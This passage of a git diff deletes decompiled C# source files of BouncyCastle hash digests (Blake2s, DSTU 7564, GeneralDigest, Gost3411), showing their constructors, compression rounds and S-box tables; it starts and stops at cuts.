exactly 8 bytes"); - } - this.salt = new byte[8]; - Array.Copy(salt, 0, this.salt, 0, salt.Length); - } - if (personalization != null) - { - if (personalization.Length != 8) - { - throw new ArgumentException("Personalization length must be exactly 8 bytes"); - } - this.personalization = new byte[8]; - Array.Copy(personalization, 0, this.personalization, 0, personalization.Length); - } - if (key != null) - { - if (key.Length > 32) - { - throw new ArgumentException("Keys > 32 bytes are not supported"); - } - this.key = new byte[key.Length]; - Array.Copy(key, 0, this.key, 0, key.Length); - keyLength = key.Length; - Array.Copy(key, 0, buffer, 0, key.Length); - bufferPos = 64; - } - Init(); - } - - private void Init() - { - if (chainValue == null) - { - chainValue = new uint[8]; - chainValue[0] = blake2s_IV[0] ^ (uint)(digestLength | (keyLength << 8) | 0x1010000); - chainValue[1] = blake2s_IV[1]; - chainValue[2] = blake2s_IV[2]; - chainValue[3] = blake2s_IV[3]; - chainValue[4] = blake2s_IV[4]; - chainValue[5] = blake2s_IV[5]; - if (salt != null) - { - uint[] array; - (array = chainValue)[4] = array[4] ^ Pack.LE_To_UInt32(salt, 0); - (array = chainValue)[5] = array[5] ^ Pack.LE_To_UInt32(salt, 4); - } - chainValue[6] = blake2s_IV[6]; - chainValue[7] = blake2s_IV[7]; - if (personalization != null) - { - uint[] array; - (array = chainValue)[6] = array[6] ^ Pack.LE_To_UInt32(personalization, 0); - (array = chainValue)[7] = array[7] ^ Pack.LE_To_UInt32(personalization, 4); - } - } - } - - private void InitializeInternalState() - { - Array.Copy(chainValue, 0, internalState, 0, chainValue.Length); - Array.Copy(blake2s_IV, 0, internalState, chainValue.Length, 4); - internalState[12] = t0 ^ blake2s_IV[4]; - internalState[13] = t1 ^ blake2s_IV[5]; - internalState[14] = f0 ^ blake2s_IV[6]; - internalState[15] = blake2s_IV[7]; - } - - public virtual void Update(byte b) - { - if (64 - bufferPos == 0) - { - t0 += 64u; - if (t0 == 0) - { - t1++; - } - Compress(buffer, 0); - Array.Clear(buffer, 0, buffer.Length); - buffer[0] = b; - bufferPos = 1; - } - else - { - buffer[bufferPos] = b; - bufferPos++; - } - } - - public virtual void BlockUpdate(byte[] message, int offset, int len) - { - if (message == null || len == 0) - { - return; - } - int num = 0; - if (bufferPos != 0) - { - num = 64 - bufferPos; - if (num >= len) - { - Array.Copy(message, offset, buffer, bufferPos, len); - bufferPos += len; - return; - } - Array.Copy(message, offset, buffer, bufferPos, num); - t0 += 64u; - if (t0 == 0) - { - t1++; - } - Compress(buffer, 0); - bufferPos = 0; - Array.Clear(buffer, 0, buffer.Length); - } - int num2 = offset + len - 64; - int i; - for (i = offset + num; i < num2; i += 64) - { - t0 += 64u; - if (t0 == 0) - { - t1++; - } - Compress(message, i); - } - Array.Copy(message, i, buffer, 0, offset + len - i); - bufferPos += offset + len - i; - } - - public virtual int DoFinal(byte[] output, int outOffset) - { - f0 = uint.MaxValue; - t0 += (uint)bufferPos; - if (t0 < 0 && bufferPos > 0L - (long)t0) - { - t1++; - } - Compress(buffer, 0); - Array.Clear(buffer, 0, buffer.Length); - Array.Clear(internalState, 0, internalState.Length); - for (int i = 0; i < chainValue.Length && i * 4 < digestLength; i++) - { - byte[] sourceArray = Pack.UInt32_To_LE(chainValue[i]); - if (i * 4 < digestLength - 4) - { - Array.Copy(sourceArray, 0, output, outOffset + i * 4, 4); - } - else - { - Array.Copy(sourceArray, 0, output, outOffset + i * 4, digestLength - i * 4); - } - } - Array.Clear(chainValue, 0, chainValue.Length); - Reset(); - return digestLength; - } - - public virtual void Reset() - { - bufferPos = 0; - f0 = 0u; - t0 = 0u; - t1 = 0u; - chainValue = null; - Array.Clear(buffer, 0, buffer.Length); - if (key != null) - { - Array.Copy(key, 0, buffer, 0, key.Length); - bufferPos = 64; - } - Init(); - } - - private void Compress(byte[] message, int messagePos) - { - InitializeInternalState(); - uint[] array = new uint[16]; - for (int i = 0; i < 16; i++) - { - array[i] = Pack.LE_To_UInt32(message, messagePos + i * 4); - } - for (int j = 0; j < 10; j++) - { - G(array[blake2s_sigma[j, 0]], array[blake2s_sigma[j, 1]], 0, 4, 8, 12); - G(array[blake2s_sigma[j, 2]], array[blake2s_sigma[j, 3]], 1, 5, 9, 13); - G(array[blake2s_sigma[j, 4]], array[blake2s_sigma[j, 5]], 2, 6, 10, 14); - G(array[blake2s_sigma[j, 6]], array[blake2s_sigma[j, 7]], 3, 7, 11, 15); - G(array[blake2s_sigma[j, 8]], array[blake2s_sigma[j, 9]], 0, 5, 10, 15); - G(array[blake2s_sigma[j, 10]], array[blake2s_sigma[j, 11]], 1, 6, 11, 12); - G(array[blake2s_sigma[j, 12]], array[blake2s_sigma[j, 13]], 2, 7, 8, 13); - G(array[blake2s_sigma[j, 14]], array[blake2s_sigma[j, 15]], 3, 4, 9, 14); - } - for (int k = 0; k < chainValue.Length; k++) - { - chainValue[k] = chainValue[k] ^ internalState[k] ^ internalState[k + 8]; - } - } - - private void G(uint m1, uint m2, int posA, int posB, int posC, int posD) - { - internalState[posA] = internalState[posA] + internalState[posB] + m1; - internalState[posD] = rotr32(internalState[posD] ^ internalState[posA], 16); - internalState[posC] += internalState[posD]; - internalState[posB] = rotr32(internalState[posB] ^ internalState[posC], 12); - internalState[posA] = internalState[posA] + internalState[posB] + m2; - internalState[posD] = rotr32(internalState[posD] ^ internalState[posA], 8); - internalState[posC] += internalState[posD]; - internalState[posB] = rotr32(internalState[posB] ^ internalState[posC], 7); - } - - private uint rotr32(uint x, int rot) - { - return (x >> rot) | (x << -rot); - } - - public virtual int GetDigestSize() - { - return digestLength; - } - - public virtual int GetByteLength() - { - return 64; - } - - public virtual void ClearKey() - { - if (key != null) - { - Array.Clear(key, 0, key.Length); - Array.Clear(buffer, 0, buffer.Length); - } - } - - public virtual void ClearSalt() - { - if (salt != null) - { - Array.Clear(salt, 0, salt.Length); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Dstu7564Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Dstu7564Digest.cs deleted file mode 100644 index 1166a4b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Dstu7564Digest.cs +++ /dev/null @@ -1,624 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Dstu7564Digest : IDigest, IMemoable -{ - private const int NB_512 = 8; - - private const int NB_1024 = 16; - - private const int NR_512 = 10; - - private const int NR_1024 = 14; - - private int hashSize; - - private int blockSize; - - private int columns; - - private int rounds; - - private ulong[] state; - - private ulong[] tempState1; - - private ulong[] tempState2; - - private ulong inputBlocks; - - private int bufOff; - - private byte[] buf; - - private static readonly byte[] S0 = new byte[256] - { - 168, 67, 95, 6, 107, 117, 108, 89, 113, 223, - 135, 149, 23, 240, 216, 9, 109, 243, 29, 203, - 201, 77, 44, 175, 121, 224, 151, 253, 111, 75, - 69, 57, 62, 221, 163, 79, 180, 182, 154, 14, - 31, 191, 21, 225, 73, 210, 147, 198, 146, 114, - 158, 97, 209, 99, 250, 238, 244, 25, 213, 173, - 88, 164, 187, 161, 220, 242, 131, 55, 66, 228, - 122, 50, 156, 204, 171, 74, 143, 110, 4, 39, - 46, 231, 226, 90, 150, 22, 35, 43, 194, 101, - 102, 15, 188, 169, 71, 65, 52, 72, 252, 183, - 106, 136, 165, 83, 134, 249, 91, 219, 56, 123, - 195, 30, 34, 51, 36, 40, 54, 199, 178, 59, - 142, 119, 186, 245, 20, 159, 8, 85, 155, 76, - 254, 96, 92, 218, 24, 70, 205, 125, 33, 176, - 63, 27, 137, 255, 235, 132, 105, 58, 157, 215, - 211, 112, 103, 64, 181, 222, 93, 48, 145, 177, - 120, 17, 1, 229, 0, 104, 152, 160, 197, 2, - 166, 116, 45, 11, 162, 118, 179, 190, 206, 189, - 174, 233, 138, 49, 28, 236, 241, 153, 148, 170, - 246, 38, 47, 239, 232, 140, 53, 3, 212, 127, - 251, 5, 193, 94, 144, 32, 61, 130, 247, 234, - 10, 13, 126, 248, 80, 26, 196, 7, 87, 184, - 60, 98, 227, 200, 172, 82, 100, 16, 208, 217, - 19, 12, 18, 41, 81, 185, 207, 214, 115, 141, - 129, 84, 192, 237, 78, 68, 167, 42, 133, 37, - 230, 202, 124, 139, 86, 128 - }; - - private static readonly byte[] S1 = new byte[256] - { - 206, 187, 235, 146, 234, 203, 19, 193, 233, 58, - 214, 178, 210, 144, 23, 248, 66, 21, 86, 180, - 101, 28, 136, 67, 197, 92, 54, 186, 245, 87, - 103, 141, 49, 246, 100, 88, 158, 244, 34, 170, - 117, 15, 2, 177, 223, 109, 115, 77, 124, 38, - 46, 247, 8, 93, 68, 62, 159, 20, 200, 174, - 84, 16, 216, 188, 26, 107, 105, 243, 189, 51, - 171, 250, 209, 155, 104, 78, 22, 149, 145, 238, - 76, 99, 142, 91, 204, 60, 25, 161, 129, 73, - 123, 217, 111, 55, 96, 202, 231, 43, 72, 253, - 150, 69, 252, 65, 18, 13, 121, 229, 137, 140, - 227, 32, 48, 220, 183, 108, 74, 181, 63, 151, - 212, 98, 45, 6, 164, 165, 131, 95, 42, 218, - 201, 0, 126, 162, 85, 191, 17, 213, 156, 207, - 14, 10, 61, 81, 125, 147, 27, 254, 196, 71, - 9, 134, 11, 143, 157, 106, 7, 185, 176, 152, - 24, 50, 113, 75, 239, 59, 112, 160, 228, 64, - 255, 195, 169, 230, 120, 249, 139, 70, 128, 30, - 56, 225, 184, 168, 224, 12, 35, 118, 29, 37, - 36, 5, 241, 110, 148, 40, 154, 132, 232, 163, - 79, 119, 211, 133, 226, 82, 242, 130, 80, 122, - 47, 116, 83, 179, 97, 175, 57, 53, 222, 205, - 31, 153, 172, 173, 114, 44, 221, 208, 135, 190, - 94, 166, 236, 4, 198, 3, 52, 251, 219, 89, - 182, 194, 1, 240, 90, 237, 167, 102, 33, 127, - 138, 39, 199, 192, 41, 215 - }; - - private static readonly byte[] S2 = new byte[256] - { - 147, 217, 154, 181, 152, 34, 69, 252, 186, 106, - 223, 2, 159, 220, 81, 89, 74, 23, 43, 194, - 148, 244, 187, 163, 98, 228, 113, 212, 205, 112, - 22, 225, 73, 60, 192, 216, 92, 155, 173, 133, - 83, 161, 122, 200, 45, 224, 209, 114, 166, 44, - 196, 227, 118, 120, 183, 180, 9, 59, 14, 65, - 76, 222, 178, 144, 37, 165, 215, 3, 17, 0, - 195, 46, 146, 239, 78, 18, 157, 125, 203, 53, - 16, 213, 79, 158, 77, 169, 85, 198, 208, 123, - 24, 151, 211, 54, 230, 72, 86, 129, 143, 119, - 204, 156, 185, 226, 172, 184, 47, 21, 164, 124, - 218, 56, 30, 11, 5, 214, 20, 110, 108, 126, - 102, 253, 177, 229, 96, 175, 94, 51, 135, 201, - 240, 93, 109, 63, 136, 141, 199, 247, 29, 233, - 236, 237, 128, 41, 39, 207, 153, 168, 80, 15, - 55, 36, 40, 48, 149, 210, 62, 91, 64, 131, - 179, 105, 87, 31, 7, 28, 138, 188, 32, 235, - 206, 142, 171, 238, 49, 162, 115, 249, 202, 58, - 26, 251, 13, 193, 254, 250, 242, 111, 189, 150, - 221, 67, 82, 182, 8, 243, 174, 190, 25, 137, - 50, 38, 176, 234, 75, 100, 132, 130, 107, 245, - 121, 191, 1, 95, 117, 99, 27, 35, 61, 104, - 42, 101, 232, 145, 246, 255, 19, 88, 241, 71, - 10, 127, 197, 167, 231, 97, 90, 6, 70, 68, - 66, 4, 160, 219, 57, 134, 84, 170, 140, 52, - 33, 139, 248, 12, 116, 103 - }; - - private static readonly byte[] S3 = new byte[256] - { - 104, 141, 202, 77, 115, 75, 78, 42, 212, 82, - 38, 179, 84, 30, 25, 31, 34, 3, 70, 61, - 45, 74, 83, 131, 19, 138, 183, 213, 37, 121, - 245, 189, 88, 47, 13, 2, 237, 81, 158, 17, - 242, 62, 85, 94, 209, 22, 60, 102, 112, 93, - 243, 69, 64, 204, 232, 148, 86, 8, 206, 26, - 58, 210, 225, 223, 181, 56, 110, 14, 229, 244, - 249, 134, 233, 79, 214, 133, 35, 207, 50, 153, - 49, 20, 174, 238, 200, 72, 211, 48, 161, 146, - 65, 177, 24, 196, 44, 113, 114, 68, 21, 253, - 55, 190, 95, 170, 155, 136, 216, 171, 137, 156, - 250, 96, 234, 188, 98, 12, 36, 166, 168, 236, - 103, 32, 219, 124, 40, 221, 172, 91, 52, 126, - 16, 241, 123, 143, 99, 160, 5, 154, 67, 119, - 33, 191, 39, 9, 195, 159, 182, 215, 41, 194, - 235, 192, 164, 139, 140, 29, 251, 255, 193, 178, - 151, 46, 248, 101, 246, 117, 7, 4, 73, 51, - 228, 217, 185, 208, 66, 199, 108, 144, 0, 142, - 111, 80, 1, 197, 218, 71, 63, 205, 105, 162, - 226, 122, 167, 198, 147, 15, 10, 6, 230, 43, - 150, 163, 28, 175, 106, 18, 132, 57, 231, 176, - 130, 247, 254, 157, 135, 92, 129, 53, 222, 180, - 165, 252, 128, 239, 203, 187, 107, 118, 186, 90, - 125, 120, 11, 149, 227, 173, 116, 152, 59, 54, - 100, 109, 220, 240, 89, 169, 76, 23, 127, 145, - 184, 201, 87, 27, 224, 97 - }; - - public virtual string AlgorithmName => "DSTU7564"; - - public Dstu7564Digest(Dstu7564Digest digest) - { - CopyIn(digest); - } - - private void CopyIn(Dstu7564Digest digest) - { - hashSize = digest.hashSize; - blockSize = digest.blockSize; - rounds = digest.rounds; - if (columns > 0 && columns == digest.columns) - { - Array.Copy(digest.state, 0, state, 0, columns); - Array.Copy(digest.buf, 0, buf, 0, blockSize); - } - else - { - columns = digest.columns; - state = Arrays.Clone(digest.state); - tempState1 = new ulong[columns]; - tempState2 = new ulong[columns]; - buf = Arrays.Clone(digest.buf); - } - inputBlocks = digest.inputBlocks; - bufOff = digest.bufOff; - } - - public Dstu7564Digest(int hashSizeBits) - { - if (hashSizeBits == 256 || hashSizeBits == 384 || hashSizeBits == 512) - { - hashSize = hashSizeBits / 8; - if (hashSizeBits > 256) - { - columns = 16; - rounds = 14; - } - else - { - columns = 8; - rounds = 10; - } - blockSize = columns << 3; - state = new ulong[columns]; - state[0] = (ulong)blockSize; - tempState1 = new ulong[columns]; - tempState2 = new ulong[columns]; - buf = new byte[blockSize]; - return; - } - throw new ArgumentException("Hash size is not recommended. Use 256/384/512 instead"); - } - - public virtual int GetDigestSize() - { - return hashSize; - } - - public virtual int GetByteLength() - { - return blockSize; - } - - public virtual void Update(byte input) - { - buf[bufOff++] = input; - if (bufOff == blockSize) - { - ProcessBlock(buf, 0); - bufOff = 0; - inputBlocks++; - } - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - while (bufOff != 0 && length > 0) - { - Update(input[inOff++]); - length--; - } - if (length > 0) - { - while (length >= blockSize) - { - ProcessBlock(input, inOff); - inOff += blockSize; - length -= blockSize; - inputBlocks++; - } - while (length > 0) - { - Update(input[inOff++]); - length--; - } - } - } - - public virtual int DoFinal(byte[] output, int outOff) - { - int num = bufOff; - buf[bufOff++] = 128; - int num2 = blockSize - 12; - if (bufOff > num2) - { - while (bufOff < blockSize) - { - buf[bufOff++] = 0; - } - bufOff = 0; - ProcessBlock(buf, 0); - } - while (bufOff < num2) - { - buf[bufOff++] = 0; - } - ulong num3 = (ulong)((long)(inputBlocks & 0xFFFFFFFFu) * (long)blockSize + (uint)num << 3); - Pack.UInt32_To_LE((uint)num3, buf, bufOff); - bufOff += 4; - num3 >>= 32; - num3 += (ulong)((long)(inputBlocks >> 32) * (long)blockSize << 3); - Pack.UInt64_To_LE(num3, buf, bufOff); - ProcessBlock(buf, 0); - Array.Copy(state, 0, tempState1, 0, columns); - P(tempState1); - for (int i = 0; i < columns; i++) - { - ulong[] array2; - ulong[] array = (array2 = state); - int num4 = i; - nint num5 = num4; - array[num4] = array2[num5] ^ tempState1[i]; - } - int num6 = hashSize / 8; - for (int j = columns - num6; j < columns; j++) - { - Pack.UInt64_To_LE(state[j], output, outOff); - outOff += 8; - } - Reset(); - return hashSize; - } - - public virtual void Reset() - { - Array.Clear(state, 0, state.Length); - state[0] = (ulong)blockSize; - inputBlocks = 0uL; - bufOff = 0; - } - - protected virtual void ProcessBlock(byte[] input, int inOff) - { - int num = inOff; - for (int i = 0; i < columns; i++) - { - ulong num2 = Pack.LE_To_UInt64(input, num); - num += 8; - tempState1[i] = state[i] ^ num2; - tempState2[i] = num2; - } - P(tempState1); - Q(tempState2); - for (int j = 0; j < columns; j++) - { - ulong[] array2; - ulong[] array = (array2 = state); - int num3 = j; - nint num4 = num3; - array[num3] = array2[num4] ^ (tempState1[j] ^ tempState2[j]); - } - } - - private void P(ulong[] s) - { - for (int i = 0; i < rounds; i++) - { - ulong num = (ulong)i; - for (int j = 0; j < columns; j++) - { - ulong[] array2; - ulong[] array = (array2 = s); - int num2 = j; - nint num3 = num2; - array[num2] = array2[num3] ^ num; - num += 16; - } - ShiftRows(s); - SubBytes(s); - MixColumns(s); - } - } - - private void Q(ulong[] s) - { - for (int i = 0; i < rounds; i++) - { - ulong num = (ulong)(((long)((columns - 1 << 4) ^ i) << 56) | 0xF0F0F0F0F0F0F3L); - for (int j = 0; j < columns; j++) - { - ulong[] array2; - ulong[] array = (array2 = s); - int num2 = j; - nint num3 = num2; - array[num2] = array2[num3] + num; - num -= 1152921504606846976L; - } - ShiftRows(s); - SubBytes(s); - MixColumns(s); - } - } - - private static ulong MixColumn(ulong c) - { - ulong num = ((c & 0x7F7F7F7F7F7F7F7FL) << 1) ^ (((c & 0x8080808080808080uL) >> 7) * 29); - ulong num2 = Rotate(8, c) ^ c; - num2 ^= Rotate(16, num2); - num2 ^= Rotate(48, c); - ulong num3 = num2 ^ c ^ num; - num3 = ((num3 & 0x3F3F3F3F3F3F3F3FL) << 2) ^ (((num3 & 0x8080808080808080uL) >> 6) * 29) ^ (((num3 & 0x4040404040404040L) >> 6) * 29); - return num2 ^ Rotate(32, num3) ^ Rotate(40, num) ^ Rotate(48, num); - } - - private void MixColumns(ulong[] s) - { - for (int i = 0; i < columns; i++) - { - s[i] = MixColumn(s[i]); - } - } - - private static ulong Rotate(int n, ulong x) - { - return (x >> n) | (x << -n); - } - - private void ShiftRows(ulong[] s) - { - switch (columns) - { - case 8: - { - ulong num18 = s[0]; - ulong num19 = s[1]; - ulong num20 = s[2]; - ulong num21 = s[3]; - ulong num22 = s[4]; - ulong num23 = s[5]; - ulong num24 = s[6]; - ulong num25 = s[7]; - ulong num26 = (num18 ^ num22) & 0xFFFFFFFF00000000uL; - num18 ^= num26; - num22 ^= num26; - num26 = (num19 ^ num23) & 0xFFFFFFFF000000L; - num19 ^= num26; - num23 ^= num26; - num26 = (num20 ^ num24) & 0xFFFFFFFF0000L; - num20 ^= num26; - num24 ^= num26; - num26 = (num21 ^ num25) & 0xFFFFFFFF00L; - num21 ^= num26; - num25 ^= num26; - num26 = (num18 ^ num20) & 0xFFFF0000FFFF0000uL; - num18 ^= num26; - num20 ^= num26; - num26 = (num19 ^ num21) & 0xFFFF0000FFFF00L; - num19 ^= num26; - num21 ^= num26; - num26 = (num22 ^ num24) & 0xFFFF0000FFFF0000uL; - num22 ^= num26; - num24 ^= num26; - num26 = (num23 ^ num25) & 0xFFFF0000FFFF00L; - num23 ^= num26; - num25 ^= num26; - num26 = (num18 ^ num19) & 0xFF00FF00FF00FF00uL; - num18 ^= num26; - num19 ^= num26; - num26 = (num20 ^ num21) & 0xFF00FF00FF00FF00uL; - num20 ^= num26; - num21 ^= num26; - num26 = (num22 ^ num23) & 0xFF00FF00FF00FF00uL; - num22 ^= num26; - num23 ^= num26; - num26 = (num24 ^ num25) & 0xFF00FF00FF00FF00uL; - num24 ^= num26; - num25 ^= num26; - s[0] = num18; - s[1] = num19; - s[2] = num20; - s[3] = num21; - s[4] = num22; - s[5] = num23; - s[6] = num24; - s[7] = num25; - break; - } - case 16: - { - ulong num = s[0]; - ulong num2 = s[1]; - ulong num3 = s[2]; - ulong num4 = s[3]; - ulong num5 = s[4]; - ulong num6 = s[5]; - ulong num7 = s[6]; - ulong num8 = s[7]; - ulong num9 = s[8]; - ulong num10 = s[9]; - ulong num11 = s[10]; - ulong num12 = s[11]; - ulong num13 = s[12]; - ulong num14 = s[13]; - ulong num15 = s[14]; - ulong num16 = s[15]; - ulong num17 = (num ^ num9) & 0xFF00000000000000uL; - num ^= num17; - num9 ^= num17; - num17 = (num2 ^ num10) & 0xFF00000000000000uL; - num2 ^= num17; - num10 ^= num17; - num17 = (num3 ^ num11) & 0xFFFF000000000000uL; - num3 ^= num17; - num11 ^= num17; - num17 = (num4 ^ num12) & 0xFFFFFF0000000000uL; - num4 ^= num17; - num12 ^= num17; - num17 = (num5 ^ num13) & 0xFFFFFFFF00000000uL; - num5 ^= num17; - num13 ^= num17; - num17 = (num6 ^ num14) & 0xFFFFFFFF000000L; - num6 ^= num17; - num14 ^= num17; - num17 = (num7 ^ num15) & 0xFFFFFFFFFF0000L; - num7 ^= num17; - num15 ^= num17; - num17 = (num8 ^ num16) & 0xFFFFFFFFFFFF00L; - num8 ^= num17; - num16 ^= num17; - num17 = (num ^ num5) & 0xFFFFFF00000000L; - num ^= num17; - num5 ^= num17; - num17 = (num2 ^ num6) & 0xFFFFFFFFFF000000uL; - num2 ^= num17; - num6 ^= num17; - num17 = (num3 ^ num7) & 0xFF00FFFFFFFF0000uL; - num3 ^= num17; - num7 ^= num17; - num17 = (num4 ^ num8) & 0xFF0000FFFFFFFF00uL; - num4 ^= num17; - num8 ^= num17; - num17 = (num9 ^ num13) & 0xFFFFFF00000000L; - num9 ^= num17; - num13 ^= num17; - num17 = (num10 ^ num14) & 0xFFFFFFFFFF000000uL; - num10 ^= num17; - num14 ^= num17; - num17 = (num11 ^ num15) & 0xFF00FFFFFFFF0000uL; - num11 ^= num17; - num15 ^= num17; - num17 = (num12 ^ num16) & 0xFF0000FFFFFFFF00uL; - num12 ^= num17; - num16 ^= num17; - num17 = (num ^ num3) & 0xFFFF0000FFFF0000uL; - num ^= num17; - num3 ^= num17; - num17 = (num2 ^ num4) & 0xFFFF0000FFFF00L; - num2 ^= num17; - num4 ^= num17; - num17 = (num5 ^ num7) & 0xFFFF0000FFFF0000uL; - num5 ^= num17; - num7 ^= num17; - num17 = (num6 ^ num8) & 0xFFFF0000FFFF00L; - num6 ^= num17; - num8 ^= num17; - num17 = (num9 ^ num11) & 0xFFFF0000FFFF0000uL; - num9 ^= num17; - num11 ^= num17; - num17 = (num10 ^ num12) & 0xFFFF0000FFFF00L; - num10 ^= num17; - num12 ^= num17; - num17 = (num13 ^ num15) & 0xFFFF0000FFFF0000uL; - num13 ^= num17; - num15 ^= num17; - num17 = (num14 ^ num16) & 0xFFFF0000FFFF00L; - num14 ^= num17; - num16 ^= num17; - num17 = (num ^ num2) & 0xFF00FF00FF00FF00uL; - num ^= num17; - num2 ^= num17; - num17 = (num3 ^ num4) & 0xFF00FF00FF00FF00uL; - num3 ^= num17; - num4 ^= num17; - num17 = (num5 ^ num6) & 0xFF00FF00FF00FF00uL; - num5 ^= num17; - num6 ^= num17; - num17 = (num7 ^ num8) & 0xFF00FF00FF00FF00uL; - num7 ^= num17; - num8 ^= num17; - num17 = (num9 ^ num10) & 0xFF00FF00FF00FF00uL; - num9 ^= num17; - num10 ^= num17; - num17 = (num11 ^ num12) & 0xFF00FF00FF00FF00uL; - num11 ^= num17; - num12 ^= num17; - num17 = (num13 ^ num14) & 0xFF00FF00FF00FF00uL; - num13 ^= num17; - num14 ^= num17; - num17 = (num15 ^ num16) & 0xFF00FF00FF00FF00uL; - num15 ^= num17; - num16 ^= num17; - s[0] = num; - s[1] = num2; - s[2] = num3; - s[3] = num4; - s[4] = num5; - s[5] = num6; - s[6] = num7; - s[7] = num8; - s[8] = num9; - s[9] = num10; - s[10] = num11; - s[11] = num12; - s[12] = num13; - s[13] = num14; - s[14] = num15; - s[15] = num16; - break; - } - default: - throw new InvalidOperationException("unsupported state size: only 512/1024 are allowed"); - } - } - - private void SubBytes(ulong[] s) - { - for (int i = 0; i < columns; i++) - { - ulong num = s[i]; - uint num2 = (uint)num; - uint num3 = (uint)(num >> 32); - byte b = S0[num2 & 0xFF]; - byte b2 = S1[(num2 >> 8) & 0xFF]; - byte b3 = S2[(num2 >> 16) & 0xFF]; - byte b4 = S3[num2 >> 24]; - num2 = (uint)(b | (b2 << 8) | (b3 << 16) | (b4 << 24)); - byte b5 = S0[num3 & 0xFF]; - byte b6 = S1[(num3 >> 8) & 0xFF]; - byte b7 = S2[(num3 >> 16) & 0xFF]; - byte b8 = S3[num3 >> 24]; - num3 = (uint)(b5 | (b6 << 8) | (b7 << 16) | (b8 << 24)); - s[i] = num2 | ((ulong)num3 << 32); - } - } - - public virtual IMemoable Copy() - { - return new Dstu7564Digest(this); - } - - public virtual void Reset(IMemoable other) - { - Dstu7564Digest digest = (Dstu7564Digest)other; - CopyIn(digest); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/GeneralDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/GeneralDigest.cs deleted file mode 100644 index f0f73e5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/GeneralDigest.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public abstract class GeneralDigest : IDigest, IMemoable -{ - private const int BYTE_LENGTH = 64; - - private byte[] xBuf; - - private int xBufOff; - - private long byteCount; - - public abstract string AlgorithmName { get; } - - internal GeneralDigest() - { - xBuf = new byte[4]; - } - - internal GeneralDigest(GeneralDigest t) - { - xBuf = new byte[t.xBuf.Length]; - CopyIn(t); - } - - protected void CopyIn(GeneralDigest t) - { - Array.Copy(t.xBuf, 0, xBuf, 0, t.xBuf.Length); - xBufOff = t.xBufOff; - byteCount = t.byteCount; - } - - public void Update(byte input) - { - xBuf[xBufOff++] = input; - if (xBufOff == xBuf.Length) - { - ProcessWord(xBuf, 0); - xBufOff = 0; - } - byteCount++; - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - length = System.Math.Max(0, length); - int i = 0; - if (xBufOff != 0) - { - while (i < length) - { - xBuf[xBufOff++] = input[inOff + i++]; - if (xBufOff == 4) - { - ProcessWord(xBuf, 0); - xBufOff = 0; - break; - } - } - } - for (int num = ((length - i) & -4) + i; i < num; i += 4) - { - ProcessWord(input, inOff + i); - } - while (i < length) - { - xBuf[xBufOff++] = input[inOff + i++]; - } - byteCount += length; - } - - public void Finish() - { - long bitLength = byteCount << 3; - Update(128); - while (xBufOff != 0) - { - Update(0); - } - ProcessLength(bitLength); - ProcessBlock(); - } - - public virtual void Reset() - { - byteCount = 0L; - xBufOff = 0; - Array.Clear(xBuf, 0, xBuf.Length); - } - - public int GetByteLength() - { - return 64; - } - - internal abstract void ProcessWord(byte[] input, int inOff); - - internal abstract void ProcessLength(long bitLength); - - internal abstract void ProcessBlock(); - - public abstract int GetDigestSize(); - - public abstract int DoFinal(byte[] output, int outOff); - - public abstract IMemoable Copy(); - - public abstract void Reset(IMemoable t); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411Digest.cs deleted file mode 100644 index cda627f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/Gost3411Digest.cs +++ /dev/null @@ -1,301 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class Gost3411Digest : IDigest, IMemoable -{ - private const int DIGEST_LENGTH = 32; - - private byte[] H = new byte[32]; - - private byte[] L = new byte[32]; - - private byte[] M = new byte[32]; - - private byte[] Sum = new byte[32]; - - private byte[][] C = MakeC(); - - private byte[] xBuf = new byte[32]; - - private int xBufOff; - - private ulong byteCount; - - private readonly IBlockCipher cipher = new Gost28147Engine(); - - private byte[] sBox; - - private byte[] K = new byte[32]; - - private byte[] a = new byte[8]; - - internal short[] wS = new short[16]; - - internal short[] w_S = new short[16]; - - internal byte[] S = new byte[32]; - - internal byte[] U = new byte[32]; - - internal byte[] V = new byte[32]; - - internal byte[] W = new byte[32]; - - private static readonly byte[] C2 = new byte[32] - { - 0, 255, 0, 255, 0, 255, 0, 255, 255, 0, - 255, 0, 255, 0, 255, 0, 0, 255, 255, 0, - 255, 0, 0, 255, 255, 0, 0, 0, 255, 255, - 0, 255 - }; - - public string AlgorithmName => "Gost3411"; - - private static byte[][] MakeC() - { - byte[][] array = new byte[4][]; - for (int i = 0; i < 4; i++) - { - array[i] = new byte[32]; - } - return array; - } - - public Gost3411Digest() - { - sBox = Gost28147Engine.GetSBox("D-A"); - cipher.Init(forEncryption: true, new ParametersWithSBox(null, sBox)); - Reset(); - } - - public Gost3411Digest(byte[] sBoxParam) - { - sBox = Arrays.Clone(sBoxParam); - cipher.Init(forEncryption: true, new ParametersWithSBox(null, sBox)); - Reset(); - } - - public Gost3411Digest(Gost3411Digest t) - { - Reset(t); - } - - public int GetDigestSize() - { - return 32; - } - - public void Update(byte input) - { - xBuf[xBufOff++] = input; - if (xBufOff == xBuf.Length) - { - sumByteArray(xBuf); - processBlock(xBuf, 0); - xBufOff = 0; - } - byteCount++; - } - - public void BlockUpdate(byte[] input, int inOff, int length) - { - while (xBufOff != 0 